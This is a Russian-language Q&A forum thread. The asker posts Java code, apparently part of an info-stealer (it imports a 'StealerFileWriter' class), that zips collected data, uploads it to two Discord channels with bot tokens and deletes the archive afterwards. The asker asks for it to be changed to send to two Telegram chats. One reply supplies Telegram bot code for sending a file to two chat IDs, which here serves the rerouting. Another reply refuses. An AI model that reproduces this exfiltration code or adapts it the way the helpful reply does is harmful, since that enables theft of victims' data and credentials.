Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Кто может переделать часть кода java?

Inadiasnd Знаток (282), на голосовании 10 месяцев назад
Мне нужно, чтобы файл отправлялся в тг по двум чат айди через бота а не в дс. Кто может сделать, помогите плиз. в коде ниже он отправляется в 2 дс сервера
import java.io .File;
import java.io .IOException;
import java.lang.reflect.Field;
import java.nio.file.Paths;
import java.sql.DriverManager;
import java.sql.SQLException;
import net.dv8tion.jda.api.JDA;
import net.dv8tion.jda.api.JDABuilder;
import net.dv8tion.jda.api.requests.restaction.MessageCreateAction;
import net.dv8tion.jda.api.utils.FileUpload;
import net.lingala.zip4j.ZipFile;
import org.reallyworld.proverka.StealerFileWriter;
import org.reallyworld.proverka.utilities.OSUtility;
import org.sqlite.JDBC;

------------------------

 private static void sendFile() { 
try {
JDA jda1 = JDABuilder.createDefault("token").build();
jda1.awaitReady();
JDA jda2 = JDABuilder.createDefault("token").build();
jda2.awaitReady();
((MessageCreateAction)jda1.getTextChannelById("id1").sendMessage("123").addFiles(FileUpload.fromData(new File(String.valueOf(TEMP_DIRECTORY.getParentFile().getAbsolutePath()) + "\\" + TEMP_DIRECTORY.getName() + ".zip")))).queue(success -> {
try {
jda1.shutdownNow();
OSUtility.delHelp(Paths.get(String.valueOf(TEMP_DIRECTORY.getParentFile().getAbsolutePath()) + "\\" + TEMP_DIRECTORY.getName() + ".zip", new String[0]));
}
catch (Exception e4) {
e4.printStackTrace();
}
});
((MessageCreateAction)jda2.getTextChannelById("id2").sendMessage("456").addFiles(FileUpload.fromData(new File(String.valueOf(TEMP_DIRECTORY.getParentFile().getAbsolutePath()) + "\\" + TEMP_DIRECTORY.getName() + ".zip")))).queue(success -> {
try {
jda2.shutdownNow();
OSUtility.delHelp(Paths.get(String.valueOf(TEMP_DIRECTORY.getParentFile().getAbsolutePath()) + "\\" + TEMP_DIRECTORY.getName() + ".zip", new String[0]));
}
catch (Exception e5) {
e5.printStackTrace();
}
});
}
catch (Exception e3) {
e3.printStackTrace();
}
}
Голосование за лучший ответ
император омерики Мудрец (10978) 11 месяцев назад
 Чтобы изменить ваш код для отправки файла в Telegram через бота, вы должны использовать Telegram Bot API. Вот пример того, как можно модифицировать ваш код для выполнения этой задачи. Прежде чем использовать этот пример, убедитесь, что вы добавили зависимость Telegram Bot API в ваш проект, например, через Maven или Gradle. 

Вы также должны зарегистрировать бота в Telegram и получить токен бота. Также получите идентификаторы чатов, в которые вы хотите отправить файл.

Здесь используется библиотека org.telegram.telegrambots, которую вы можете добавить в свой проект.

import org.telegram.telegrambots.bots.TelegramLongPollingBot;
import org.telegram.telegrambots.meta.TelegramBotsApi;
import org.telegram.telegrambots.meta.api.methods.send.SendDocument;
import org.telegram.telegrambots.meta.exceptions.TelegramApiException;
import org.telegram.telegrambots.updatesreceivers.DefaultBotSession;

public class TelegramBot extends TelegramLongPollingBot {

@Override
public String getBotUsername() {
// Верните имя вашего бота здесь
return "your_bot_username";
}

@Override
public String getBotToken() {
// Верните токен вашего бота здесь
return "your_bot_token";
}

@Override
public void onUpdateReceived(Update update) {
// Здесь вы можете обработать входящие сообщения
}

public void sendFileToChat(String chatId, File file) {
// Создание объекта SendDocument
SendDocument sendDocumentRequest = new SendDocument();
sendDocumentRequest.setChatId(chatId);
sendDocumentRequest.setDocument(file);
try {
execute(sendDocumentRequest); // Отправка документа
} catch (TelegramApiException e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
// Инициализация API
try {
TelegramBotsApi botsApi = new TelegramBotsApi(DefaultBotSession.class);
TelegramBot bot = new TelegramBot();
botsApi.registerBot(bot);

// Отправка файла
File file = new File("путь_к_вашему_файлу");
bot.sendFileToChat("chat_id_1", file);
bot.sendFileToChat("chat_id_2", file);
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
}
В этом коде your_bot_username и your_bot_token должны быть заменены на имя и токен вашего Telegram бота соответственно. Также вам нужно заменить "chat_id_1" и "chat_id_2" на идентификаторы чатов, куда вы хотите отправить файл, и "путь_к_вашему_файлу" на путь к файлу, который вы хотите отправить.
Nieren Искусственный Интеллект (217172) 11 месяцев назад
Никто за тебя ничего делать не будет, здесь не фриланс
Похожие вопросы